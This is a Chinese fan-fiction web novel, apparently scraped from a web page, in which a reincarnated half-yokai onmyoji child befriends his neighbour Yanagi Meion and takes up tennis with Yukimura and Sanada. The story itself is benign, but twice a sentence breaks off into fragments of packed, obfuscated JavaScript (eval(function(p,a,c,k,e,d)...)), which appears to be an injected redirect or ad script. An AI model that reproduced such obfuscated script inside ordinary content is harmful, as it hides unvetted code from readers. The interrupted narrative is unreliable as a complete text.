《阴阳师不柯学的网球日常》 1. 归来 青苔沿着石灯笼的基座蔓延,水滴在竹管中积蓄,终于不堪重负般叩击在岩石上,发出一下空洞的清响,惊散了蜷在枝头的鸟雀。庭院也仿佛随这一声轻叩苏醒过来。 一个看起来不过四五岁的小男孩站在门前,青苔比他离去时更厚了,绒绒地爬满了「加九间」的名牌。 他轻叩院门,来开门的是一位看起来近六十的妇人,她似乎对这个孩子的到来并不意外,眼眶有些湿润了,因他的到来,眉眼都染上欣喜,她俯下身恭敬地行礼。 “欢迎回家,加九间大人。” 是啊,归来了。回到这方天地—— 妇人名叫小町惠子,幼时遭遇一场劫难,被“上一世”的加九间柳所救,可那时的加九间柳在人间已待至六十年岁,他将尚且年幼的小町惠子抚养至能够独立生活,像普通人的身体也到了寿终正寝的时刻。 在加九间柳的安排里,小町惠子可以在他死后继续完成她的学业,从事喜欢的工作,找到可以相伴一生的爱人,当他以新的身份再次回到这里,没准能够看到她孩子的孩子在庭院内玩闹。 但小町惠子像是一个侍奉神明的巫女,一个虔诚的信教徒,在完成学业后,固执的独自留在这个不知何时会再次被人敲响门扉的庭院里,每日洒扫,在黄昏时坐在石阶上,望着那扇不知何时会被敲响的木门,直到花甲。 好在巫女等到了她的神明。 小町惠子俯身将还是孩童的加九间柳抱起,带他重新参观了对他来说并不陌生的庭院,院前空地上,一树樱花与一树桃花依偎着盛放。 小町惠子抱着加九间柳路过时,没有风拂过,可樱瓣与桃瓣依旧簌簌而落,交织成一场纷繁的花雨,轻轻覆盖在青石板上,也沾上了加九间柳的肩头和软发,近乎将他柔软的黑发染成粉色。 加九间柳张开手,几片旋转落下的花瓣便乖顺地停在他的掌心,带着清晨微凉的露意。 “她们还是这样,”他轻声说,语气里听不出是感慨还是单纯的陈述,“会用花瓣铺满整个院子,接下来几天想来都是花香了。” “她们也在欢迎加九间大人回家。” 小町惠子垂首,目光近乎虔诚地注视怀中的孩子,虽然在大人的说法里,这个孩子会是他的“转世”或是对外宣称的“后代”,但她清楚,怀里的孩子就是那位大人本人。 加九间柳本是平安京时代的半妖,他出生的太晚,没有经历过太久人妖共存的时代,在他记事时,妖怪们大多隐居在了里世界,少有在人前露面的,就连阴阳师也逐渐销声匿迹。但加九间柳运气不错,没有遭遇太多的苦难,跟着姑获鸟生活,修习剑术,得到了部分晴明大人遗留的笔记,自学阴阳术,成为了一个并不被人承认的阴阳师。 他的朋友缘很好,没什么归处的小妖怪也乐得跟随他,在他的庭院寻一处息身之所。 或许是加九间柳体内属于人类的那份血脉影响,他很乐于偷溜进人类居所,苦练的化形能力让加九间柳能够没什么破绽的由幼年一点点长大,再变老,就这样体味普通人的一生。 他通常将自己投放到姑获鸟在人类居住地建造的孤儿院门口,化成一个小孩子,没什么负担的张嘴就开始大哭,对上姑姑无奈又纵容的目光时,才满意地收了声音,愉悦的对她眨眨眼。 “上一世”的遗产(他的庭院和一笔未知数的财产)会在他四五岁时继承,独自回到庭院,找寻一个顺心的能够照顾自己的管事,或者运气好,管家活得很久,久到可以再次迎接他的到来。 午后的阳光透过繁茂的枝叶,在静谧的庭院里洒下斑驳的光点。四周静悄悄的,只有偶尔几声清脆的鸟鸣。 加九间家那扇厚重的的木门被轻轻推开一条缝。加九间柳穿着传统和服,半长的头发散在身后,脑袋从门缝探了出来。他刚刚结束今日的练习,极好的听力让他听到院外有陌生的窸窣声。 他的目光很快锁定在道路中央。 那里站着一个和他差不多高的小男孩,穿着现代的T恤和短裤,一头殷红色的头发看起来软软的。男孩正有些不知所措地原地转着圈,小脸上写满了迷茫和一点点慌张,看起来像是迷路了的小孩。 加九间柳眨了眨眼睛,确认这不是哪个式神恶作剧变出来的幻象,而是一个真实存在的、迷路了的同龄孩子。他轻轻推开门,走了出来。 木门的轻微“吱呀”声惊动了原地打转的柳明音。他猛地停下脚步,受惊似的抬起头,对上了加九间柳平静的视线。 两个小家伙隔着几步远的距离,安静地对望着。 “……你好?”最终还是柳明音先怯生生地开了口,手指不安地绞着衣角,“我、我好像迷路了……” 加九间柳没有立刻回答,而是微微偏头,仔细地看了看他,仿佛在感知着什么。片刻后,他用还带着奶气却努力显得平稳的语调说:“这里是加九间家的院子。” “加、加九间?”柳明音努力理解着,试图说明自己家的方向,“我……我家是刚搬到隔壁的……我叫柳明音。” “隔壁?”加九间柳重复了一遍,似乎想到了什么,“哦,是空了很久的那户。”他向前走了几步,来到柳明音面前。 “不用害怕。”小阴阳师的声音很柔和,带着一种奇异的安抚人心的力量,“这里没有危险,我知道你家在哪里。” 他伸出小小的手,指了指庭院另一侧的路口,“从那边绕过去,很近。” 加九间柳前几日有听到车辆驶来,和一些陌生的杂乱的人的声音,于是爬到了庭院的房瓦上,看到了一家新搬来的住户,有个长相漂亮的小孩让加九间柳印象格外深刻。 加九间柳很喜欢漂亮的事物,或是人。 柳明音顺着他指的方向看去,紧张的神情稍微放松了一些。他重新看向眼前这个穿着奇怪但看起来很镇定的男孩,好奇地问:“你是住在这里的人吗?你叫什么名字?” “嗯。”加九间柳点点头,“我是加九间柳。” “柳……”柳明音念着这个名字,忽然觉得没那么害怕了。庭院周围虽然陌生又安静,但这个叫柳的男孩却莫名能够让人安心。“你的名字……和我的有点像。” 加九间柳似乎也才注意到这一点,小小的脸上露出一丝极淡的、若有所思的表情。“柳……明音。”他轻声念了一遍,然后说,“我带你回去。” 他转身,示意明音跟上。两个小小的身影一前一后走在青石板铺就的小路上,穿过并不算幽深的小巷,有阳光照进来,像是在给两个小家伙指路。 巷口熟悉的街道景象映入眼帘,柳明音立刻认出了这就是他家附近。 “啊!是这里!我知道怎么回去了!”明音惊喜地叫道,脸上绽开灿烂的笑容,之前的迷茫一扫而空。 他跑出去,又转过身,对着巷内的加九间柳大声说:“谢谢你,柳君!” 柳明音扭头要往家的方向跑去,却一不留神撞到路边的杆子,加九间柳沉默一瞬,看着跌坐地上眼泪汪汪的可怜小孩,还是上前握住了对方的手,把他从地上拉了起来。 “我带你回去吧。”加九间柳蹙着眉头,分明是一副严肃的模样,但他现在只是一个小孩子,于是认真的样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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柳夫人脸上掠过一丝恍然,“啊,是加九间家的……非常感谢你照顾我家明音。” 加九间柳再次点头,声音平稳:“不必客气,举手之劳。柳夫人,明音君已安全送回,告辞了。” 说完,他转身,小小的背影挺直,沿着来路不紧不慢地离开,很快消失在巷子尽头。 柳明音望着他消失的方向,直到母亲轻轻拍了拍他的头。 “那位就是加九间家的小主人啊……”柳夫人低声自语,眼神有些复杂,随即又笑着对儿子说,“以后不要乱跑了,知道吗?想去认识新朋友,要走大路。” “嗯!”柳明音用力点头,脸上是藏不住的兴奋,“柳君答应和我一起玩了!他好厉害,好像什么都懂!” …… 加九间柳回到自己的庭院,厚重的木门在他身后无声合拢,将外界的喧嚣彻底隔绝。 小町惠子正跪坐在廊下,面前摆着一套茶具,氤氲的热气带着茶香袅袅升起。她看到加九间柳回来,露出温和的笑容:“加九间大人,欢迎回来。遇到邻居家的小朋友了?” “嗯。”加九间柳走到廊边,脱掉小木屐,赤脚踩在微凉的地板上,“一个叫柳明音的孩子,很漂亮的孩子。” 小町惠子为他斟上一杯温热的麦茶:“柳家…并没有什么奇怪异之处,想来大人会有一个不错的伙伴。” 加九间柳接过茶杯,小口啜饮着。他抬头望向庭院,樱花与桃花依旧偶尔悠然飘落。 他放下茶杯,声音虽奶气,却带着超乎年龄的淡然与笃定,“庭院依旧,花开如故。无论是安静的日常,还是……‘不科学’的访客,接受便是。” 对于活了很久的半妖阴阳师而言,新的邻居,或许会带来一些新的故事。而他,和他的庭院,早已准备好容纳一切。 远处的树枝上,一个模糊的、常人无法看见的身影晃了晃腿,发出几不可闻的轻笑,旋即融入花影之中,仿佛从未存在过。 庭院重归宁静,等待着下一次的相遇。 2. 再见面 翌日清晨,阳光尚未完全驱散庭院的薄雾,加九间柳正坐在廊下,捧着一卷略显古旧的竹简——那是晴明笔记的抄录副本之一,对他如今的孩童身形来说,显得有些过大。 笃笃。 并非竹筒叩石的空响,而是来自院门方向,清脆又带着几分犹豫的敲门声,属于人类孩童的力道。 小町惠子正在屋内准备早餐,闻声动作顿了顿,看向加九间柳。加九间柳放下竹简,耳朵几不可察地动了一下。 “是明音君。”他语气平淡,似乎早已预料。 惠子露出微笑:“倒是没想到会来得这么早。”她起身欲去开门。 “我去吧。”加九间柳却先一步站了起来,赤着脚踩过微湿的大理石路,走向院门。 他费力地拉开那扇对他而言过于沉重的木门。门外,柳明音果然站在那里,换了一身干净的小衬衫,头发梳理得整整齐齐,怀里还小心翼翼抱着一个纸袋,里面散发出刚烤好的饼干香气。他看起来有些紧张,眼睛一眨不眨地盯着门缝。 “柳君!”看到加九间柳,他立刻扬起一个大大的笑容,举起手中的纸袋,“妈妈烤了饼干,说谢谢你昨天帮我!我带给你吃!” 加九间柳的目光掠过饼干,落在柳明音亮晶晶的眼睛上。他微微侧身:“进来吧。” 柳明音欢呼一声,小心翼翼地跨过高高的门槛,好奇地打量着这个与他家截然不同的世界。清晨的庭院比昨日午后更显幽静,花香混合着湿漉漉的泥土和草木的气息,沁人心脾。花瓣依旧零星飘落。 “哇——”他忍不住发出惊叹,“柳君,你家好像…好像故事书里的地方!” 加九间柳没说话,只是引着他往廊下走。小町惠子适时出现,端来了茶点和果汁,对着柳明音和蔼地笑笑:“欢迎来做客,明音君。请用些茶点。” “谢谢阿姨!”柳明音很有礼貌地道谢,然后迫不及待地把自己的饼干也贡献出来,分享给加九间柳和惠子。 两个孩子并排坐在廊下,中间摆着点心和果汁。柳明音叽叽喳喳地说着话,描述昨天回家后被妈妈说教了,又兴奋地分享新家的样子和他喜欢的玩具。 加九间柳大多时候只是安静地听着,偶尔点点头,小口吃着柳明音带来的饼干。他并不觉得吵闹,反而觉得这种充满生气的絮叨,为过分安静的庭院增添了一份新鲜的活力。 “……所以,柳君,我们以后可以一起上学吗?”柳明音忽然问道,满眼期待。 加九间柳顿了顿。上学,对他而言,那是融入人类社会、体验“普通”生活的必要环节,但通常他不会这么早去。不过…… 他看着柳明音那双几乎写满了“一起玩吧”的眼睛,点了点头:“嗯,一起。” 柳明音开心地晃悠着腿。 吃完点心,柳明音对庭院里的一切都充满了好奇,尤其是那两棵依偎着的樱花树和桃花树。 “为什么要一起种呀?”他仰着头,看着纷落的花瓣问。 加九间柳也抬起头,仿佛透过花树看到了很久以前:“她们是姐妹。桃担心樱寂寞,便约好一同盛放,一同凋零。” “姐妹……”柳明音似懂非懂,但觉得这很美好。他跑过去,想接住落下的花瓣。 加九间柳看着他欢快的身影,目光微微一动。在常人无法看见的视界里,几片晶莹的花瓣正亲昵地拂过柳明音的发梢和脸颊,带着淡淡的妖气,却毫无恶意,只有纯粹的欣喜和欢迎。 柳明音似乎也有所感应,笑起来:“好痒哦!好像有风在摸我的脸。” 加九间柳嘴角弯起一个极浅的弧度。 “明音。”他唤道。 “嗯?”柳明音回过头,脸上沾着一片粉色花瓣。 “想看看锦鲤吗?”加九间柳问。庭院深处的池塘里,养着几条颇有年岁的、色彩斑斓的锦鲤。 “想!” 加九间柳站起身,带着新认识的小伙伴,走向庭院更深处。小町惠子远远看着两个小小的身影消失在树影花丛后,脸上带着欣慰的笑容。 池塘在庭院的最深处,被几块天然的大石和茂密的蕨类植物半围着,水面漂浮着些许睡莲的叶子,几尾色泽艳丽的锦鲤在水中悠然游动,它们的鳞片在从树叶间隙漏下的阳光中闪烁着金红、墨黑或雪白的光泽。 “好大的鱼!”柳明音趴在池塘边的光滑大石上,小脸几乎要贴到水面,眼睛瞪得圆圆的,“比我在水族馆看到的还要漂亮!” 加九间柳在他身边蹲下,伸出手,指尖轻轻掠过水面。一尾通体纯白、唯独额头有一点红的锦鲤立刻游了过来,亲昵地蹭了蹭他的手指,激起一小圈涟漪。 “它们不怕人吗?”柳明音惊奇地问,也学着加九间柳的样子,小心翼翼地把手指伸进水里。冰凉的池水让他缩了一下,但很快,另一尾橘红色的锦鲤也好奇地凑近,轻轻碰了碰他的指尖。 加九间柳看着他兴奋的样子,点了点头:“它们很少怕人。”尤其是对身上气息干净纯粹的人或妖。这些锦鲤在庭院里待久了,早已沾染了几分灵性,能模糊感知到来者的心绪。柳明音的喜悦和好奇毫无杂质,自然吸引了它们的亲近。 两人就趴在池边,安静地看着锦鲤在水中摆尾、嬉戏。柳明音时不时发出小声的惊叹,加九间柳则会偶尔指点一下哪条鱼年纪最大,或者哪条鱼最近刚褪了色。 时间在静谧中悄然流淌。阳光渐渐变得温暖明亮,驱散了晨雾,将整个池塘照亮。 加九间柳的庭院足够大,足够两个孩子在这里到处探索。 不知过了多久,小町惠子温和的声音传来:“加九间大人,明音君,要不要再吃些点心?我做了糯米团子。” 柳明音的肚子适时地“咕噜”叫了一声,他不好意思地揉了揉肚子,看向加九间柳。加九间柳站起身,拍了拍和服上沾到的草屑:“走吧。” 回到廊下,洁白的瓷盘里放着几个软糯可爱的团子,分别是粉色的樱饼味、绿色的艾草味和裹着豆粉的黄豆味。旁边还配了两杯新鲜的果汁。 “谢谢惠子阿姨!”柳明音眼睛发亮,礼貌地道谢后,才拿起一个豆粉团子咬了一口,脸上立刻露出幸福的表情,“好吃!” 加九间柳也拿起一个樱饼团子,小口吃着,动作依旧斯文。 吃完团子,柳明音的注意力又被廊下角落里一个造型古朴的落地花瓶吸引,花瓶里随意插着几枝带着绿叶的树枝。 “柳君,那个是什么树枝?叶子形状好奇怪。” 加九间柳看了一眼:“是枫树的树枝。现在还是绿色,等到了秋天,会变成很红的颜色。” “像我的头发一样红吗?”柳明音好奇地摸摸自己的红发。 加九间柳认真地对比了一下,摇摇头:“不一样。枫叶的红,更浓烈一些。”像燃烧的火焰,或者……鲜血。后面这个比喻他没有说出口,毕竟对方只是个普通的人类小孩。 柳明音似懂非懂地点点头。 整个上午,柳明音就像个充满好奇的小探险家,对庭院里的一切都充满了兴趣,从石灯笼上的雕刻到竹筒敲击岩石的装置(加九间柳告诉他那叫做“鹿威”),问题一个接一个。加九间柳则耐心地一一解答,语气平静,知识渊博得完全不似孩童。 快到中午时,柳明音终于显露出一丝倦意,打了个小小的哈欠。 就在这时,庭院外隐约传来了柳夫人呼唤“明音——”的声音。 “啊,妈妈叫我回家吃饭了。”柳明音有些不舍地站起来。 加九间柳也站起身:“我送你到门口。” 两人再次走到那扇厚重的木门前。柳明音跨出门槛,转过身,用力地朝加九间柳挥手:“柳君,谢谢你!我今天超级开心!我明天还能来吗?” 加九间柳站在门内,点了点头:“嗯。” “说好了哦!”柳明音脸上绽开灿烂的笑容,这才蹦蹦跳跳地朝着自家方向跑去,这次没有撞到任何东西。 加九间柳看着他的身影消失在转角,才缓缓关上了院门。 庭院重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一日下午,两个孩子坐在廊下翻看图画书。在快要分别时,加九间柳站起身。 “跟我来。” 他领着柳明音走到自己的房间门口——那是一间陈设简单却异常整洁的和室。加九间柳从一个小小的、散发着淡淡紫藤花香的抽屉里,取出一个用深蓝色高级和布制成的小袋子,袋子上用银线绣着细密的、带有安抚意味的符文——在柳明音看来只是漂亮又复杂的图案,袋口收着绳结,下面坠着一颗润白的、被打磨成水滴形状的小石头。 “给你的。”加九间柳将小袋子递给柳明音,“晚上睡觉时,可以放在枕头旁边。” “这是什么?好精致的小袋子!”柳明音接过这个小巧的御守,好奇地翻看。布料的触感细腻,那颗小石头触手温润,带着一种让人安心的凉意。 “是御守。”加九间柳语气寻常,“能保佑你夜晚安眠。”他没有说明这符文驱鬼挡伤的效果,早已步入和平年代,柳明音大概率不会碰上什么鬼神之说,那就只是一个普通的漂亮的带有祝福意味的礼物了。 柳明音却立刻明白了御守的含义,脸上露出惊喜又安心的笑容:“就像神社里求的那种吗?谢谢柳君!有柳君给的御守,我肯定会睡个好觉,不会再迟到了!” 看着他珍重地将御守握在手里的样子,加九间柳觉得,制作这个御守所花费的那一点点心思和灵力,很值得。 小町惠子端来冰镇的蜂蜜柠檬水时,就看到柳明音正兴奋地向她展示那个精致的御守,而加九间柳安静地坐在一旁,小口喝着冰饮,眼神一如既往的平静,但惠子能察觉到那平静之下细微的、满足的情绪。 夕阳开始西斜时,柳明音该回家了。他小心地把御守放进衬衫口袋,还特意拍了拍,确认放好了。 “柳君,明天见!”他站在门口,用力挥手。 他们已经选好了同一所学校,明天就可以一同去报道了。 “明天见。”加九间柳回应道。 3. 兴趣 加九间柳并不热衷于在幼儿园交上很多朋友,至少目前在他的眼中,还没有人的模样能够比柳明音更为可爱——这并非滤镜。 在庭院时他拉着柳明音的手到处探索,出了庭院以后,反而是柳明音牵着他到处玩了。 霓虹的小孩子能够自己支配的时间相当多,加九间家有专门保护两个小娃娃的保镖,在与柳家打过招呼后,放学后的时间就任由两人到处闲逛去探索自己的兴趣了。 一个偶然的午后,他们路过一家画材店。橱窗里陈列的各式画笔与颜料,在阳光下泛着柔和的光泽。柳明音原本已经走过了几步,却发现牵着手的人没有跟上来。 他回过头,看见加九间柳正一动不动地站在橱窗前。 “要进去看看吗?”柳明音轻声问。 加九间柳没有回答,但看向店门的眼神已经说明了一切。 画材店里面有一间很大的画室,店长是个很友善的阿姨,她看出加九间柳对绘画的兴趣,尽管身后并没有跟着什么看起来能付钱的大人,但老板娘还是热情的邀请他们来感受绘画的乐趣。 老板娘本以为小孩子一时兴起的涂鸦并不会持续多久,但加九间柳握住画笔的姿势却异常沉稳,眼神专注得不像个幼儿园的孩子。他没有像其他初次尝试的孩子那样胡乱涂抹大色块,而是微微歪头,仔细地观察着站在一旁、有些好奇又有些无聊地仰头看画室墙壁上的画作的柳明音。 阳光透过画室的窗户,柔和地洒在柳明音身上,勾勒出他柔软的发丝和明亮的眼睛。加九间柳的目光在他脸上停留片刻,随后便低下头,手中的画笔蘸上颜料,毫不犹豫地在洁白的画纸上落下。 笔触出乎意料地肯定,虽然线条仍带着初学者的稚拙,但形状和神韵却捕捉得惊人准确。他没有使用太多繁杂的颜色,主要是柔和的线条和恰到好处的色块,却渐渐勾勒出一个清晰的轮廓——那个正眨着眼睛,微微笑着的柳明音。 站在一旁的老板娘原本只是温和地笑着,准备欣赏儿童涂鸦,但她的笑容渐渐被惊讶所取代。她看着画纸上逐渐成型的小人像,又看看眼前真人,眼中满是不可思议。这不是普通孩童的随手涂鸦,其中蕴含的观察力和表现力远超同龄人,甚至带着一种难以言喻的灵气。 当加九间柳落下最后一笔,放下画笔时,一幅虽然简单却生动传神的肖像画呈现在众人面前。画里的柳明音笑得眉眼弯弯,连那股活泼又温柔的神态都捕捉到了几分。 “画的是我?”柳明音凑过来,惊讶地睁大了眼睛,看着画纸上的自己,脸上泛起开心又有点不好意思的红晕,“小柳画得好像!” 老板娘蹲下身,语气带着抑制不住的激动,小心地问道:“孩子,你……以前学过画画吗?” 加九间柳思索了下自己的前些人生,似乎一直在无尽的战火中行走,倒是画过一些战区分部图,但人像风景这类艺术画的确尚未接触,于是他摇摇头,目光停留在自己的画作上,似乎也在审视。 “这真是太难得了……”老板娘赞叹道,她犹豫了一下,非常诚恳地看向加九间柳,“小朋友,阿姨能不能拜托你一件事?你这幅画,画得真的非常好,阿姨非常喜欢,能不能把它留在我这间画室里?我想把它贴起来,让其他来学画画的小朋友也看看。” 加九间柳闻言,先是看了看画,然后又转头看向身边的柳明音,似乎有些犹豫——毕竟画上的可是柳明音。 柳明音倒是很大方,他拉拉加九间柳的手,小声说:“小柳,留下来吧!阿姨很喜欢呢!而且以后我们再来,就能看到它挂在这里啦!” 加九间柳思索片刻,终于轻轻点了点头。 老板娘喜出望外,小心翼翼地拿起那幅画,找了一个显眼的位置,仔细地贴好。那幅笔触稚嫩却充满灵气的肖像画,就这样成为了这间小小画室的一道独特风景。 离开画材店时,加九间柳依旧沉默着,但牵着柳明音的手却握得更紧了些。柳明音则一路都在兴奋地说着:“小柳好厉害!居然画得那么像!下次再给我画好不好?” 加九间柳轻轻点了一下头,随即换来对方更灿烂的笑容和雀跃的脚步。 能让加九间柳感兴趣的事情很多,或许是之前经历的和平年代太少,一切有趣的没有危害的活动都会让他提起兴趣。接触的事物太多,前行的脚步便也慢了下来,等到开始接触神奈川相对热门的运动——网球时,已经小学三年级了。 最大的网球训练场人很多,一时没有多余的教练能抽出时间来接待这两位初学者,于是加九间柳和柳明音就暂且安静地呆在角落,训练场里击球的脆响和跑动的脚步声此起彼伏,充满了活力。加九间柳的目光追随着场内各个球员的动作,像是在分析某种战术部署,而柳明音则看得眼花缭乱,满眼都是新奇和羡慕。 这时,隔壁场地一场节奏极快的对练刚刚结束短暂休息。一个大概是五年级模样的,留着微卷蓝紫色头发、额上戴着绿色发带的男孩擦了擦汗,目光不经意地扫过场地角落,恰好落在了正仰头看着高速来回网球、眼睛睁得圆圆的柳明音身上。 幸村精市微微怔了一下,觉得这个面容精致、眼神明亮的小男孩异常眼熟。他稍微回忆,立刻想了起来,唇角自然地扬起一抹温和又带着些许了然的笑意。他对身边的真田弦一郎说了句“稍等”,便拿着球拍,朝角落的两个小家伙走了过去。 “你们好,”幸村的声音清朗温和,成功吸引了正沉浸在自己世界里的两人的注意,“是对网球感兴趣吗?在看大家练习?” 柳明音被突然搭话,有些不好意思地点点头,躲到了加九间柳身后半步的位置,又忍不住探出脑袋好奇地打量这个看起来很厉害又很好看的哥哥。加九间柳则向前微不可察地挪了半步,将柳明音挡得更严实些,然后才抬头看向幸村,眼神不由闪过一抹惊艳,随后被询问和警惕所替代。 他喜欢漂亮的人,但得是漂亮的好人。 幸村对他们的反应并不介意,反而觉得很有趣。他弯下腰,视线与两个孩子平齐,笑容更加友善:“我是幸村精市,那边的是我的好朋友真田弦一郎。看你们在这里站了一会儿,是想试试网球吗?现在好像没有教练有空,如果你们不介意,我可以教你们一些最基础的哦。” 幸村精市的目光再次落到柳明音脸上,这次带上了更明确的确认意味,笑着补充道:“而且,我好像在哪里见过你呢,小弟弟。” 柳明音眨了眨眼,有点困惑。 幸村提示道:“是在街角那家‘向日葵画材店’里。那幅贴在墙上,画着一个笑得很可爱的小男孩的画……是你,对吗?” 柳明音的脸瞬间红了,他没想到会在这里被人认出来,还是通过那幅画。他下意识地抓紧了加九间柳的衣角,连忙摇头,声音细弱却急切地解释道:“不、不是我画的!是…是小柳画的!”说着,他握紧加九间柳的手举了起来,像是某种颁奖仪式那样,“是加九间柳画的!” 加九间柳眼眸染上一丝无奈,面对幸村了然和探究的目光,依旧没什么表情,只是默认了柳明音的话。 幸村眼中的兴趣更浓了。他看看面前这个沉静的黑发男孩,又看看他身后那个漂亮的此刻正脸红害羞的孩子,两个精致漂亮的孩子站在一起实在是对眼睛最好的礼物。他笑了笑,语气带着真诚的赞赏:“原来是你画的吗?画得非常好,捕捉神韵很精准。所以,你们是好朋友?” 加九间柳这次点了下头。 “真好。”幸村笑道,自然地站起身,将话题引回网球,“那么,两位未来的小画家,现在要不要先试试网球运动?先从握拍开始?” 他朝远处的真田招了招手。真田虽然表情依旧严肃,但也走了过来,对着两个明显比他小的初学者,努力让自己的气场不那么吓人。 于是,在这个普通的午后,网球拍第一次被塞进了加九间柳和柳明音的手中。幸村耐心地指导着他们最基础的握拍姿势和站姿,真田则在旁边一丝不苟地示范,偶尔言简意赅地纠正动作。 加九间柳学得极其认真,仿佛在攻克一项重要课题,每一个细节都力求完美复刻教导。柳明音则更多是觉得好玩,挥拍的动作还带着孩童的笨拙和夸张,但依旧在努力跟上加九间柳的速度。 阳光透过训练场的顶棚洒下,将四个年龄不一的身影拉长。 加九间柳的学习速度快得 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“小心。”加九间柳立刻停下练习,伸手扶住了他。 “嘿嘿,没事没事!”柳明音不好意思地笑笑,脸上因为运动而泛出健康的红晕,眼睛依旧亮晶晶的,“网球好像比看起来难一点哦,小柳你好厉害,一下子就学会了!” 他的语气里只有纯粹的赞叹和为朋友感到的高兴,没有丝毫嫉妒。 幸村看着两个性格迥异却羁绊深厚的小朋友,脸上的笑容愈发温和。他走到柳明音身边,轻轻调整了一下他握拍的手势:“手腕再放松一点点,对,就像这样。不用太着急,感受用身体带动手臂的力量,而不是只用手腕哦。” 他的指导耐心又清晰,柳明音努力跟着调整,虽然动作还是显得有些稚拙,但比刚才好了不少。 “谢谢真田哥哥!”柳明音仰起脸,送给幸村一个大大的、毫无阴霾的笑容。 那灿烂的笑容和错误的称呼让幸村微微一怔,随即露出一个略带困惑的豆豆眼表情。加九间柳无奈地用手指抵上额头,轻轻叹了口气,然后抬手揉乱了柳明音柔软的发丝。 “这是幸村哥哥,”他纠正道,声音平静但带着一丝不易察觉的纵容,随后转向幸村和真田,略带歉意地解释,“明音他…有点脸盲,对刚认识的人,即便是是发型发色不太相似的,短时间内也会有点难分清楚谁是谁。” 他看了一眼真田的帽子和幸村的发带,明明是很明显的不同的特征呢。 柳明音这才反应过来自己认错了人,脸颊“唰”地一下变得通红,比刚才运动时还要红,他手足无措地对着幸村和真田两人之间的空处鞠躬:“非、非常抱歉!幸村哥哥!我不是故意的!” 幸村立刻被这反应逗笑了,那点小困惑瞬间烟消云散,唇角勾起一抹笑容,背后仿佛盛开了百合花,引得加九间柳疑惑的频频看去。 幸村精市:“真是有趣呢。” 加九间柳点头。 真田弦一郎:“太松懈了!” 柳明音:“非常抱歉!” 这个小插曲反而让气氛更加轻松了些。柳明音不好意思地挠挠头,躲回加九间柳身边,但眼神依旧在幸村和真田之间悄悄来回瞟,似乎在努力记忆两人的特征。 柳明音并没有练习太长时间,他的体力相对于加九间柳和两位网球爱好者来说还是太弱了,气喘吁吁地坐在休息区,倒是有精力晃着手臂给加九间柳加油。 好在告别时,柳明音已经能准确地将“幸村哥哥”和“真田哥哥”对号入座了。 “今天非常感谢!幸村哥哥!真田哥哥!”柳明音大声地道谢,笑容重新变得灿烂。 加九间柳也再次郑重地道谢:“承蒙指导,非常感谢。” “下次再来玩吧。”幸村笑着发出邀请,真田也点头致意。 回家的路上,夕阳将两人的影子拉得很长。柳明音虽然累得脚步有些拖沓,但依旧兴奋地比划着今天的挥拍动作。路过街边的漫画屋,加九间柳顺带给柳明音的漫画柜扩充了几本新的读物。 “如果想要天天来玩的话,上午的课,就不能再迟到了。” “唉——!” 4. 发带 自从在网球训练场邂逅了幸村精市和真田弦一郎,加九间柳和柳明音的生活里又多了一项固定的活动——网球。幸村似乎真的很喜欢这两个小家伙,尤其是对加九间柳那惊人的学习能力和柳明音那种有点迷糊的特质颇感兴趣,常常会在他们放学后出现在训练场时给予指导。 加九间柳对网球投入了极大的热情。这种需要精准技巧、瞬间判断和体能支撑的运动,很合他的胃口。他练习得极其刻苦,每一个动作都反复打磨,进步速度让训练场的教练和其他学员都啧啧称奇。他在握住球拍时眼神会变得格外锐利,像一只蓄势待发的兽,紧盯自己的猎物。 而柳明音则更多是陪伴。他的运动神经不算出众,对网球的热爱远不如加九间柳那样炽热和专注,但他享受和加九间柳一起度过的时光,也喜欢训练场热闹的氛围。他更多的是在旁边自己练习基础动作,或者坐在长椅上晃着腿,看加九间柳和幸村精市、真田弦一郎对练,时不时发出真诚的惊叹和捧场的掌声,有时也会带上相机,对着他们拍个不停。 周末的上午,阳光正好。加九间柳和柳明音再次来到训练场。今天幸村和真田似乎正在打一场练习赛,周围零星有几个其他学员在观看。 柳明音很自觉地抱着自己的水壶和加九间柳的毛巾,找了个视野好的角落坐下,眼睛亮晶晶地准备看比赛。加九间柳则站在场边,目光紧紧追随着场上两人的每一个回球,观察他们的步伐、击球角度和战术变化,像是在高速分析数据的计算机。 幸村和真田的比赛节奏很快。真田的攻势猛烈,每一颗球都很重。而幸村的防守或进攻如行云流水,带着一种举重若轻的优雅和深不可测的掌控力。 加九间柳看得极其专注,连呼吸都似乎放缓了。 忽然,真田一记力道十足的“侵略如火”般的抽击(此时还未正式命名,但风格已显),网球带着剧烈的旋转呼啸着飞向幸村的半场。幸村轻盈地侧身,似乎早已预判,准备用一个干净利落的反手截击回敬。 然而,就在幸村挥拍的瞬间,他额头上那根标志性的绿色吸汗带,或许是因为之前剧烈运动微微松动了,竟随着他转头的动作,倏地滑落了下来,遮向了他的眼睛。 “!”幸村的动作不可避免地出现了一丝极细微的凝滞。 就在这一刹那,原本飞向预定落点的网球,因为强烈的旋转和这突如其来的意外,猛地触地后又弹起,直直朝着场外——柳明音坐着的方向飞去! “明音!”加九间柳的瞳孔骤然收缩,露出一瞬如野兽一般的竖瞳。 他的身体反应快于大脑思考。几乎在喊出名字的同时,他已经像一只蓄势待发的幼兽般猛冲了出去,速度快得只在空气中留下一道残影。 柳明音根本来不及反应,只看到一道黄光扑面而来,吓得闭上了眼睛,下意识地抱紧了怀里的水壶。 预想中的撞击并未到来。 他只听到“啪”的一声闷响,以及周围人倒吸一口凉气的声音。 他小心翼翼地睁开眼,只见加九间柳不知何时已经挡在了他的身前,背对着球场,微微喘着气。他的右手臂横在身前,小臂外侧,一颗网球正无力地掉落在地,轻轻弹跳了几下——加九间柳用手臂挡下了那颗失控的、力道十足的网球。 “小柳!”柳明音惊呼,立刻丢开水壶跳起来,紧张地抓住加九间柳的手臂查看,“你没事吧?疼不疼?” 